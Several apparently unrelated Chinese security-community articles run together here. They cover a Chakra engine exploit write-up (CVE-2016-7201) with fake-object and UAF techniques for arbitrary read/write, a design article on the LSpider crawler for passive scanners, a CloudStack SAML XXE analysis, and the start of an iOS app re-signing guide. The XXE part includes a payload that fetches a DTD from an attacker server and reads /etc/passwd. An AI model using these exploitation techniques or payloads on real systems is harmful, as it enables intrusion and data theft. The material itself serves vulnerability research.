对于条件2，可以在1的基础上，伪造UInt64Number通过parseInt接口触发JavascriptConversion::ToString来越界读取后面的虚表，从而泄露chakra基址。
相关代码如下:
JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…
case TypeIds_UInt64Number:
{
unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();
if (!TaggedInt::IsOverflow(value))
{
return scriptContext->GetIntegerString((uint)value);
}
else
{
return JavascriptUInt64Number::ToString(aValue, scriptContext);
}
}
经过内存布局以及伪造Uint64Number，可以泄露出某个Array的vtable，如下:
最后，通过伪造Uint32Array来实现全地址读写，需要注意的是，一个Array.Segment的可控空间有限，无法写下Uint32Array及ArrayBuffer的全部字段，但其实很多字段在AAW/AAR中不会使用，并且可以复用一些字段，实现起来没有问题。
#### 0x2
十月，能够做信息泄露的最后几个bug被Natalie撞掉…
于是有了下面的方案，配合越界读的特性，只用这一个漏洞完成exploit.
JavaScript中的Array继承自DynamicObject，其中有个字段auxSlots，如下:
class DynamicObject : public RecyclableObject
private:
Var* auxSlots;
…
通常情况auxSlots为NULL，例如:
var x = [1,2,3]
对应的Array头部如下，auxSlots为0
000002e7`4c15a8b0 00007ffd`5b7433f0 000002e7`4c14b040
000002e7`4c15a8c0 00000000`00000000 00000000`00000005
000002e7`4c15a8d0 00000000`00000003 000002e7`4c15a8f0
000002e7`4c15a8e0 000002e7`4c15a8f0 000002e7`4bf6f4c0
当使用Symbol时会激活这个字段，例如:
var x = [1,2,3]
x[Symbol(‘duang’)] = 4
000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960
000002e7`4c152950 000002e7`4c152960 000002e7`4bf6c0e0
auxSlots指向一个完全可控的Var数组
0:009> dq 000002e7`4bfca5c0
000002e7`4bfca5c0 00010000`00000004 00000000`00000000
000002e7`4bfca5d0 00000000`00000000 00000000`00000000
基于这个数据结构，有了如下的方案:
1. 布局内存，使Array连续排列，并激活auxSlots字段
2. 用越界读的特性，读出下一个Array的auxSlots并存入Array_A中
3. Array_A[x]成为伪造的对象，对象数据即为auxSlots，完全可控
在没有信息泄露的情况下，伪造一个对象需要面临的问题是”指针”，比如
– 虚表
– Type * type字段
对于虚表，可以用枚举结合特定函数的方式，”猜”出vtable的值
bool JavascriptArray::IsDirectAccessArray(Var aValue)
{
return RecyclableObject::Is(aValue) &&
(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));
}
在IsDirectAccessArray中会很干净的判断aValue指向的数据是否为特定的vtable，不会操作其他字段，返回结果为TRUE或FALSE。在JavascriptArray::ConcatArgs中引用了IsDirectAccessArray这个函数，并且根据它的返回结果进入不同的处理流程，最终IsDirectAccessArray的返回值可以在js层面被间接的探知到。
伪代码:
for (addr = offset_arrVtable; addr < 0xffffffffffff; addr += 0x10000) {
auxSlots[0] = addr
if (guess()) {
chakra_base = addr – offset_arrVtable
break
}
}
下一步需要伪造Type * type这个指针字段，Type结构如下:
class Type
{
friend class DynamicObject;
friend class GlobalObject;
friend class ScriptEngineBase;
protected:
TypeId typeId;
TypeFlagMask flags;
JavascriptLibrary* javascriptLibrary;
RecyclableObject* prototype;
…
}
其中最重要的是typeId字段，它指定了Object的类型
TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,
#if ENABLE_COPYONACCESS_ARRAY
TypeIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,
因为我们已经知道了chakra的基址，所以只要在模块内找到一个数字为29的地方即可
type_addr = chakra_base + offset_value_29
最终，我们可以伪造出一个自定义的Array，进而实现AAR/AAW
#### 0x3
目前Edge浏览器中关键的对象都是通过MemGC维护，和单纯的引用计数不同，MemGC会自动扫描对象间的依赖关系，从根本上终结了UAF类型的漏洞…
然而，真的是这样完美吗? 被MemGC保护的对象不会出现UAF吗?
有几种情况是MemGC保护不周的，其中的一种情况如下:
如图，这是一个普通的由MemGC维护的对象，addr_A指向object的头部，addr_B指向内部中间的某个位置。
Object2是另外一个由GC维护的对象，在其中有Object1的引用addr_A
此时，如果在js层面free掉Object1，并且触发CollectGarbage，会发现它并没有真的被释放。
然而，如果这样
Object2中引用的是Object1.addr_B，Object1便可以被正常释放掉，从而出现一个指向Object1内部的悬挂指针。
再通过spray等占位的方法，就可以使用Object2访问freed的内容，实现UAF利用。
构造UAF的流程如下:
1.分配由MemGC维护的Object1:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777
2.分配由MemGC维护的Object2，其中有Object1+XXX位置的引用:
0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002
3.释放Object1，并且触发CollectGarbage，可以看到被链入freelist:
0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
000002e7`4bfe7e10 00000000`00000000 00000000`00000000
000002e7`4bfe7e20 00000000`00000000 00000000`00000000
000002e7`4bfe7e30 00000000`00000000 00000000`00000000
000002e7`4bfe7e40 00000000`00000000 00000000`00000000
000002e7`4bfe7e50 00000000`00000000 00000000`00000000
4.使用Object2引用释放的Object1:
0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8
要把我们的bug转换成UAF，需要完成两件事情
1.找到一个对象的”内部指针”
2.将这个指针缓存，并可以通过JS层面引用
对于1，可以使用Head与Segment连在一起的Array
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //指向对象内部的指针
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
对于2，可以通过越界读的能力，将这个指针读入我们可控的Array
现在我们造出了一个UAF，接下来用什么数据结构来填充?
NativeIntArray/NativeFloatArray显然不可以，虽然数据完全可控，但目前我们无法做到信息泄露，所以数据也不知道填什么。
最后我选择了JavaScriptArray，后面会讲为何这样选择。
最终的UAF用JavaScriptArray占位成功后效果如下:
//before free&spray
0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777
//after free&spray
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000
下面说下为何用JavaScriptArray占位。
因为Var Array可以存放对象，而判断是否为对象仅仅测试48位是否为0
(((uintptr_t)aValue) >> VarTag_Shift) == 0
所以对于虚表、指针等都可以当做对象以原始形态存入Var Array，这对直接伪造出一个Object来说是极好的。
具体步骤如下:
1.通过越界读，读出下一个Array的vtable、type、segment三个字段。此时我们不知道它们具体的数值是多少，是作为对象缓存的
var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]
2.构造UAF，并用fakeobj_vararr占位
0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
3.伪造对象
之前缓存的”内部指针”JavascriptNativeIntArray_segment指向的位置，对应fakeobj_vararr第五个元素的位置，如上所示
所以:
fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr
4.访问伪造的对象
alert(JavascriptNativeIntArray_segment.length)
Exploit:
### 总结
本文描述了一些chakra脚本引擎中漏洞利用的技巧，分为三种不同的利用方式来体现，三种方式并不独立，可以融合成一个更精简稳定的exploit。所描述的bug最终在十一月补丁日，pwnfest前一天，同样被Natalie撞掉了，对应的信息为CVE-2016-7201，比赛最终使用的漏洞及利用方式，会在微软完成修补后讨论。
有问题，可以联系我:
**Weibo:@holynop**
* * * | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
日期：2021年1月28日**
# 前言
将时间还原到2019年6月之前，扫描器的世界大多还停留在AWVS这样的主动扫描器，被动扫描曾被提出作为浏览器插件火热过一段时间，可惜效率太低等多种问题束缚着它的发展。随着Xray的发布，一款免费好用的被动扫描器从很多方面都带火了自动化漏洞扫描的风潮。
其中有的人将Xray挂在自己的常用浏览器上以图在使用的过程中捡漏，有的人只在日站的时候挂上以图意外之喜，也有人直接操起自己尘封已久的爬虫配合xray大范围的扫描以图捡个痛快。可以说配合xray日站在当时已经成了一股风潮。
市面上比较常见的组合crawlergo+xray中的crawlergo也正是在这种背景下被开放出来。
* <https://github.com/0Kee-Team/crawlergo>
但可惜的是，建立在自动化漏洞挖掘的基础上，当人们使用相同的工具，而我们又没办法自定义修改，是否能发现漏洞变成了是否能发现更多的资产的比拼。建立在这样的背景下，我决定自己发起了一个开源的爬虫项目，这就是LSpider诞生的背景。
* <https://github.com/knownsec/LSpider>
LSpider作为星链计划的一员，已经开源，工具可能并不算成熟，但 **持续的维护以及更新** 是星链计划的精神~
# LSpider想要做到什么？
在发起一个项目之初，我们往往忘记自己到底为什么开始，为什么要写这个项目，重复造轮子，以及闭门造车从来都不是我们应该去做的事。
而LSpider发起的初衷，就是 **为被动扫描器量身打造一款爬虫** 。
而建立在这个初衷的基础上，我决定放弃传统爬虫的那些多余的功能。
这是一个简单的传统爬虫结构，他的特点是爬虫一般与被动扫描器分离，将结果输入到扫描器中。
将被动扫描器直接代理到爬虫上
这样一来，爬虫的主要目标转变为了， **尽可能的触发更多的请求、事件、流量** 。
建立在这个大基础上，我们得到了现在的架构：
由主控分配爬虫线程，扫描目标域，并 **尽可能的触发更多的请求、事件、流量** 。将被动扫描器通过代理的方式挂在爬虫下并独立的完成漏洞扫描部分。
除了为被动扫描器服务以外，还有什么是在项目发起时的初衷呢？
我的答案是，这个爬虫+被动扫描器的目的是，能让我不投入过多精力的基础上，挖洞搞钱！！！
不在乎扫到什么漏洞，不在乎扫到什么厂商，只求 **最大限度的扫描目标相关所有站、所有域名、所有目标** 。
为了实现这个目标，我在爬虫中内置了查询子域名的api，内置了hackerone、bugcrowd目标爬虫，在设计之初还添加了定时扫描功能。
到目前为止，我们设计了 **一个自动化无限制扫描目标，且为被动扫描器而存在的爬虫** 架构。
下面我们一起完成这个项目。
# 爬虫基础
首先爬虫部分，为了实现最大程度上触发更多的请求、事件、流量，我们有且只有唯一的选择为Chrome Headless.
## 配置Chrome Headless
这里我选择了selenium来操作Chrome WebDriver。值得注意的是几个比较重要的配置。
self.chrome_options.add_argument('--headless')
self.chrome_options.add_argument('--disable-gpu')
self.chrome_options.add_argument('--no-sandbox')
self.chrome_options.add_argument('--disable-images')
self.chrome_options.add_argument('--ignore-certificate-errors')
self.chrome_options.add_argument('--allow-running-insecure-content')
self.chrome_options.add_argument('blink-settings=imagesEnabled=false')
self.chrome_options.add_argument('--omnibox-popup-count="5"')
self.chrome_options.add_argument("--disable-popup-blocking")
self.chrome_options.add_argument("--disable-web-security")
self.chrome_options.add_argument("--disk-cache-size=1000")
除了设置headless模式以外，还关闭了一些无意义的设置。
if os.name == 'nt':
chrome_downloadfile_path = "./tmp"
else:
chrome_downloadfile_path = '/dev/null'
prefs = {
'download.prompt_for_download': True,
'profile.default_content_settings.popups': 0,
'download.default_directory': chrome_downloadfile_path
}
设置好文件下载的目录，如果没设置的话会自动下载大量的文件在当前文件夹。
desired_capabilities = self.chrome_options.to_capabilities()
if IS_OPEN_CHROME_PROXY:
logger.info("[Chrome Headless] Proxy {} init".format(CHROME_PROXY))
desired_capabilities['acceptSslCerts'] = True
desired_capabilities['acceptInsecureCerts'] = True
desired_capabilities['proxy'] = {
"httpProxy": CHROME_PROXY,
"ftpProxy": CHROME_PROXY,
"sslProxy": CHROME_PROXY,
"noProxy": None,
"proxyType": "MANUAL",
"class": "org.openqa.selenium.Proxy",
"autodetect": False,
}
通过org.openqa.selenium.Proxy来设置浏览器代理，算是比较稳定的方式。
self.driver.set_page_load_timeout(15)
self.driver.set_script_timeout(5)
这两个配置可以设置好页面加载的超时时间，在大量的扫描任务中，这也是必要的。
除了基础配置以外，有个值得注意的点是：
你必须在访问页面之后才可以设置cookie，且cookie只能设置当前域，一旦涉及到跳转，这种cookie设置方式就不会生效。
self.origin_url = url
self.driver.implicitly_wait(5)
self.driver.get(url)
if cookies:
self.add_cookie(cookies)
self.driver.implicitly_wait(10)
self.driver.get(url)
## 模拟点击以及智能填充
在配置好chrome headless之后，为了 **模拟人类的使用**
，我抛弃了传统爬虫常用的拦截、hook等获取请求并记录的方式，转而将重心放在模拟点击以及智能填充上。
### 模拟点击
这里拿a标签举例子
links = self.driver.find_elements_by_xpath('//a')
link = links[i]
href = link.get_attribute('href')
self.driver.execute_script(
"atags = document.getElementsByTagName('a');for(i=0;i<=atags.length;i++) { if(atags[i]){atags[i].setAttribute('target', '')}}")
if link.is_displayed() and link.is_enabled():
link.click()
self.check_back()
当获取到对应标签时，首先将对应的标签属性taget置空（不打开新的标签页），然后模拟点击按钮，之后检查是否发生跳转，并返回原页面。
同样的逻辑被复用在了button，input@type=submit和拥有onclick事件标签上，值得注意的是。button这样的标签还加入模拟鼠标移动的操作。
if submit_button.is_displayed() and submit_button.is_enabled():
action = ActionChains(self.driver)
action.move_to_element(submit_button).perform()
submit_button.click()
### 智能表单填充
这里我把智能表单填充分为两部分，首先我们需要判断当前页面是否存在一个登录框，这意味着当前页面并没有登录（如果登录状态，一般登录框会消失）。
这里把可能出现登录框的页面分为4种
form -> 文本中出现login、登录、sign等
button -> outerHTML出现login、user、pass等
input -> outerHTML出现登录、注册等关键词
a -> 文本出现login、登录、sign等
当当前页面满足上述任一条件时，则会记录下来到相应的位置（后续会提到）
然后会尝试填充页面的所有框框。
inputs = self.driver.find_elements_by_xpath("//input")
self.driver.execute_script(
"itags = document.getElementsByTagName('input');for(i=0;i<=itags.length;i++) { if(itags[i]){itags[i].removeAttribute('style')}}")
input_lens = len(inputs)
if not inputs:
return
for i in range(input_lens):
try:
input = inputs[i]
# 移动鼠标
# 如果标签没有隐藏，那么移动鼠标
if input.is_enabled() and input.is_displayed():
action = ActionChains(self.driver)
action.move_to_element(input).perform()
首先去掉表单框上的所有CSS，并将鼠标放置到对应的位置。
紧接着通过判断表单的key值，满足条件的对应填入部分预设的用户名，密码，邮箱，地址，手机号，并勾选所有的单选多选框，其余输入框则生成随机字符串填入。
## 结果去重
到目前为止，我们至少触发了属于页面中大量的请求，接下来我们就遇到了另一个问题，如何对流量去重？
除了尽可能的触发请求以外，爬虫也并不是单一执行流程的，每个爬虫需要不断地从某个主控（RabbitMQ）获取新的目标，而爬虫也需要不断地返回目标，但我们就需要去重逻辑来完成新目标的处理，这样可以最大限度的减少无意义的请求。
这里我使用了一套比较简单的url泛化逻辑来做去重。首先我将获取的返回和历史记录中相同域的url提取出来。
BLACK_DOMAIN_NAME_LIST = ['docs', 'image', 'static', 'blogs']
首先，如果域名中存在上面4个黑名单词语，则只接受200条不重复请求。
然后将，所有的路径泛化， **按照/做分割，用A来代表纯数字段，用B来代表字母混合段。**
https://lorexxar.cn/2020/10/30/whitebox-2/
就会被泛化为AAAB
如果历史记录已经存在flag为AAAB的链接，则会进入更深层次的判断。
紧接着会提取比较的两个链接的B段内容。
首先判断当前路径下是否附和一些特殊路径，如
BLACK_PATH_NAME = ['static', 'upload', 'docs', 'js', 'css', 'font', 'image']
如果满足，那么直接限制该路径下只收录100个链接，如果不满足，那么会提出两个url的B段进行比较。也就是`whitebox-2`，如果不同，则判定为拥有1个不同点。
且如果当前B段为路径的最后一部分，举例子为
https://lorexxar.cn/2020/10/30/whitebox-2/a.php
这里的a.php就是路径的最后一部分，如果 **两个链接的最后一部分不为静态资源，则会被直接认定为不同请求。**
如果最后一部分相同，且不同点不超过1个，那么会进入参数判断。
这里我们直接简单粗暴的获取所有请求的key， **如果两个请求都拥有相同的参数列表，则两个链接为不同请求。**
（会剔除没有value的参数，如?20210127这类时间戳）
直接经过所有的判断，该链接才会被加入到新的目标列表当中，等待下一次被塞入任务队列中。
# 完成整体架构
在经历了爬虫基础架构以及模拟点击、智能填充之后，我们顺利的完成了爬虫最基础的部分，接下来我们需要完成蓝框部分的逻辑。
对于一个扫描器来说，最重要的就是 **稳定以及速度**
在设计之初，我本来觉得LSpider是个私人使用的小工具，于是就简单的使用队列+多线程来做爬虫的调度，但是在使用的过程中，我逐渐发现Python队列会简单的将数据存在内存中，而Chrome
Headless会消耗大量的机器资源，如果内存不够，就会陷入爬虫端越来越慢，内存却越来越大的境地，于是我将架构换成了用RabbitMQ做任务管理。
这样一来，我们爬虫主控与数据处理的部分分离开来，两个部分都只需要负责自己的任务即可。爬虫线程可以直接监听RabbitMQ来获取任务。
## 加入登录页面检查以及紧急队列
在LSpider的使用过程中，由于我设计了发散式的扫描方案。针对A域名的扫描往往会蔓延到上百个新的域名（包括子域名），其中单靠添加任务时候添加的鉴权验证远远不够，再加上我逐渐发现这种发散式的扫描方案，很容易发现特别多目标资产，比如某OA、某邮件系统等。
于是我添加了登录页面的检查（前文提到），一旦识别到登陆页面，我将会保留当前页面的url以及title，并进行一次指纹识别，并将相应的结果保存下来。
当我们收到了需要登录页面的推送时，我们又遇到了新的问题，假设任务列表已经陆陆续续储存了几十万条请求，当我们完成了账号的注册和登录，并将cookie设置好后，这个任务被重新加入到队列的尾，等到任务再次跑到时，可能cookie已经失效了，怎么解决呢？
这里我尝试引用了紧急队列来作为解决方案。这里涉及到一个概念是RabbitMQ的消息优先级，队列可以设置最大优先级，消息可以设置自己的优先级。在从队列中获取数据的时候，RabbitMQ会优先取出优先级更高的消息。
这里我们直接新建一个单独的线程和队列来轮询检查登录状态。一旦满足登录成功，那么该任务就会以高优先级的权重被加入到主队列中。通过这种方式来实现紧急任务的管理。
## 通过webhook+企业微信应用管理任务进度
当我们完成了整个工具的主线架构之后，就需要完善一些无关竟要但是又对体验帮助很大的小功能了。
当扫描器扫描到漏洞的时候，我需要第一时间获得消息。当爬虫发现需要登录的站点时，我需要第一时间去加上鉴权信息，说不定还刚好是我有的0day资产，我也必须第一时间拿到结果。
为了实现这个需求，我必须将工具和"宇宙第一通讯工具"联动起来，这里我们直接通过webhook和企业微信的小应用联动起来。
这里直接用django起一个webhook接口，配合一些简单的解析对接到被动扫描器上。然后将结果通过webchatpy推送到企业微信的应用上，效果是这样的：
登录推送：
每时推送+漏洞推送
在经历了前面多步的完善，我们终于完成了LSpider，他的架构也变成了这样：
# 写在LSpider之后
LSpider是在疫情期间发起的项目，选择Django+python是因为这个项目最初更像是一个小玩具，再加上爬虫本来就是应该长期跑在服务端的工具，所以没太考虑就写起来用起来了。
幸运的是，在整个工具实现的过程中，我陆陆续续挖掘了超过150+个漏洞，也完成了设计之初对工具的预想，实现了 **长时间自动化挖掘**
的目的。但也可惜的是，大多数的漏洞都没有找到对应的src，于是也就丢在一边不管了。在优化的过程中，也越来越感受到局限。
在项目发起的时候，心里觉得项目最麻烦的肯定是去重、爬虫部分，但没想到在边写边用边修的过程中就零零散散的度过了1年，到项目的后期之后，越来越发现局限越来越多。由于Xray本身并不开源，再加上Xray这个工具重心就不在对外漏洞扫描上。越来越多的问题涌现出来。
且不提许多自己的漏扫想法没办法优化，光是xray本身就存在诸多无意义的扫描（比如服务器配置错误等，对于挖洞来说毫无意义）。尤其是在阅读到许多曝光的漏洞信息之后，80%的时间你都没办法做任何事。
也正是在这样的背景下，我们意识到哪怕是背靠一个优秀的被动扫描器，我们也没办法将爬虫和被动扫描器拆分开来。于是我们又发起了第二个项目HeLuo，如果有机会的话，可能还有机会开源出来~
希望越来越多的朋友愿意试用LSpider，就像星链计划的初衷一般，开源项目的意义便是参与就会变得越来越好，我也会长期坚持维护，也欢迎大家的Issue和PR
:>
* * * | 社区文章 |
# 前言
最近爆了好多洞，看到有个XXE注入，正好前段时间刚分析完ZOHO那个XXE正好分析一波
# 环境搭建
跟着[官网](http://docs.cloudstack.apache.org/en/latest/installguide/building_from_source.html#downloading-the-release)安装，直接放弃，最后找到了docker的[镜像](https://hub.docker.com/r/ustcweizhou/cloudstack-simulator)，直接docker搭起来，不过在docker进行远程调试的时候又出现了巨多坑，整个环境搭了两天，环境为4.17.0.0
docker pull ustcweizhou/cloudstack-simulator
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator
其中8888是web端口，9999是要开启的远程调试端口，接下来直接按照以下命令执行即可
//在虚拟机当前目录新建一个supervisord的配置文件
vim supervisord.conf
//内容如下，里面只是在原先的基础上加了个idea的远程调试，端口为9999
[supervisord]
nodaemon=true
[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root
[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
//将conf文件复制到容器内
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf
//进入容器
docker exec -it 容器id bash
//更新supervisord文件配置即可
supervisorctl update
# 漏洞分析
先来看一下补丁，很明显的XXE注入漏洞，可以看到对`responseMessage`先进行了base64解密，在进行了XML解析，我们逆着来看看哪里调用了`decodeSAMLResponse`
在`org.apache.cloudstack.api.command.SAML2LoginAPIAuthenticatorCmd#processSAMLResponse`中，调用了`decodeSAMLResponse`，继续往上找
在同一个类中找到了`authenticate`函数，可以看到传入一个`idpId`，而它是从`params`中的`SAMLResponse`中取出的值并且强转为String类型，而`params`是一个Map类型的，那么`SAMLResponse`就是一个key，很有可能就是在request中传过来的，我们继续往上找
成功在`ApiServlet`中找到了调用方式，在其`processRequestInContext`函数内调用了`authenticate`，而且可以看到`params`里的值就是request转化而来的键值对，并且doGet和doPost最后都调用了`processRequestInContext`函数，那么到最后解析xml的值就是我们可以控制的`SAMLResponse`
接着来看一下wen.xml看看ApiServlet对应的路由，在/api/下会被调用
在web页面中看到网络发的包，拿来一个加上`SAMLResponse`参数来看看最后触发漏洞需要的条件
在`processRequestInContext`中，需要满足`apiAuthenticator !=
null`这个条件才能进入到if语句中，进入if语句才能继续往下走，这就要`apiAuthenticator`必须有值，我们进入到`getAPIAuthenticator`来看一下
可以看到必须满足`s_authenticators != null &&
s_authenticators.containsKey(name)`条件，`apiAuthenticator`才不会为空，其中会检测传进来的name是否在`s_authenticators`内，而name就是我们可控的`command`，此时`command`的值需要为以下的几个值才符合条件，可以看到里面有两个值`samlsso`和`samlslo`，
**该漏洞的触发就是需要在开启saml的前提下才会触发**
而这两个值就是在开启saml后有的值，既然已经知道了触发条件直接将`command`值改为`samlsso`
> saml开启是在登录web后在全局配置中将`saml2.enabled`改为true即可
可以看到通过`command`获取的`apiAuthenticator`的值就是能够继续触发漏洞的`SAML2LoginAPIAuthenticatorCmd`
最后对`SAMLResponse`的值进行base64解密后触发XXE漏洞，接下来构造payload触发
payload如下：
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://@evilServer:8000/ev.dtd">
%ext;
]>
<message></message>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
server端有被访问但是并没有回显，然后就想到了利用[ftp协议工具](https://github.com/LandGrey/xxe-ftp-server)进行回显，但是测试一直不成功，然后发现CloudStack的服务端jdk版本为`openjdk
11.0.15`，而在高版本中在`FtpURLConnection`类中进行url检测
会对换行符进行检测，如果有的话直接抛出异常，这里就尝试了很多方法都不能回显，在网上查文章发现好像高版本的XXE无回显确实无法利用，这里在网上看到一篇[文章](https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/)，详细的解释了为什么高版本jdk的ftp无法利用
1. `<7u141`或`<8u131`：不会受文件中\n的影响
2. `>jdk8u131`：能创建FTP连接，外带文件内容中含有\n则抛出异常
3. `>jdk8u232`：不能创建FTP连接，只要url中含有\n就会抛出异常
在调试的时候发现会在`detaiMessage`中回显/etc/passwd文件内容，但是并不会回显到前端
> 请问一下各位师傅有没有可以利用的点 | 社区文章 |
# 【技术分享】如何对iOS应用进行修改并重新签名
##### 译文声明
本文是翻译文章，文章来源：vantagepoint.sg
原文地址：<http://www.vantagepoint.sg/blog/85-patching-and-re-signing-ios-apps>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在某些场景下，你可能需要在没越狱的iOS设备上运行修改过的iOS应用，特别是当手上已越狱的iPhone突然变砖，只能被迫升级到非越狱版本的iOS系统时，这种需求显得更加迫切。再如，你需要使用这项技术来动态分析测试应用程序，或者你可能需要使用GPS欺骗手段来绕过Pokemon的锁区限制，在非洲地区捕捉宠物小精灵，而又不想承担越狱带来的安全风险。无论是哪种情况，你都可以使用本文介绍的方法对某个经过修改的应用重新签名并在自己的设备上成功运行。需要注意的是，这种技术仅在应用程序不是经过FairPlay加密（即从应用商店上下载）时才能正常工作。
由于Apple采用了较为复杂的配置及代码签名系统，在iOS系统上对程序进行重新签名会比想象中困难得多。只有使用正确的配置文件以及完全正确的代码签名头，iOS系统才会允许应用程序正常运行。这使得你需要熟知许多概念：如不同类型的证书、BundleID、应用ID、团队ID，以及如何使用Apple的编译工具将这些东西结合在一起。简而言之，要想让不经过默认方法（即XCode环境）编译生成的程序在iOS上正确运行将会是一个困难重重的过程。
我们在本文中使用的工具集包括[optool](https://github.com/alexzielenski/optool)、Apple的编译环境以及一些shell命令。我们所使用的方法灵感来自于Vincent
Tan的[Swizzler项目](https://github.com/vtky/Swizzler2/wiki)。此外，[NCC工作组](https://www.nccgroup.trust/au/about-us/newsroom-and-events/blogs/2016/october/ios-instrumentation-without-jailbreak/)采用其他工具集也完成了同样的工作。
要复现下文列出的步骤，请从OWASP Mobile Testing Guide软件仓库中下载[UnCrackable Ios App Level
1](https://github.com/OWASP/owasp-mstg/tree/master/OMTG-Files/02_Crackmes/02_iOS/UnCrackable_Level1)这个示例应用，我们的目标是修改UnCrackable这个应用，使它在启动时加载FridaGadget.dylib，以便后续可以用[Frida](https://github.com/frida/)来加载该应用进行测试。
**获取开发者配置文件（Provisioning Profile）及证书**
开发者配置文件是由Apple签名的一个plist文件，它将开发者的代码签名证书列入一个或多个设备的白名单中。话句话说，Apple通过这种方式显式允许开发者的应用程序在某些设备的上下文环境中运行（如对特定设备进行调试）。配置文件还列出了应用程序所能获得的权限信息。代码签名证书包含了开发者在对应用进行签名时所用到的私钥。
**1）使用iOS开发者账号时**
